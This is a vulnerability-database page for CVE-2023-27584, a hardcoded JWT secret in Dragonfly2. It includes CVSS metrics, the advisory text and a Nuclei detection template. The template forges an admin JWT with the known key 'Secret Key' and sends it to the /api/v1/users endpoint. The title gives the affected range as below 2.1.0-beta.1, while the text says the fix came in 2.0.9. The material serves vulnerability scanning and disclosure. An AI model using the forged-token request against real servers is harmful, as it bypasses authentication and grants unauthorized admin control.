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nucleiProjectDiscoveryNUCLEI:CVE-2023-27584
HistorySep 25, 2024 - 10:35 a.m.

Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret

2024-09-2510:35:57
ProjectDiscovery
github.com
3
dragonfly
jwt
hardcoded
authentication bypass
security vulnerability
cloud native computing foundation
cncf
incubating level project
release version 2.0.9
upgrade

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

6.8

Confidence

High

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
id: CVE-2023-27584

info:
  name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-hpc8-7wpm-889w
    - https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
    - https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
    - https://nvd.nist.gov/vuln/detail/cve-2023-27584
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27584
    cwe-id: CWE-321
    epss-score: 0.00043
    epss-percentile: 0.09612
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2023,dragonfly,exposure,jwt,secret

variables:
  orig_iat: '{{to_unix_time(unixtime())}}'
  exp: '{{to_number(orig_iat)+4000 }}'
  payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'

http:
  - raw:
      - |
        GET /api/v1/users HTTP/1.1
        Host: {{Hostname}}
        Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"created_at":'
          - '"updated_at":'
          - '"state":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e4b819d5cade94bf0a95555a4ac8080794764a135fd9582fe54aaa53065dd243022019d9830a4e13cbcc106beadceb0e25d7d5a5f8be393671bdc6881a74f7735ab4:922c64590222798bb761d5b6d8e72950

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

6.8

Confidence

High

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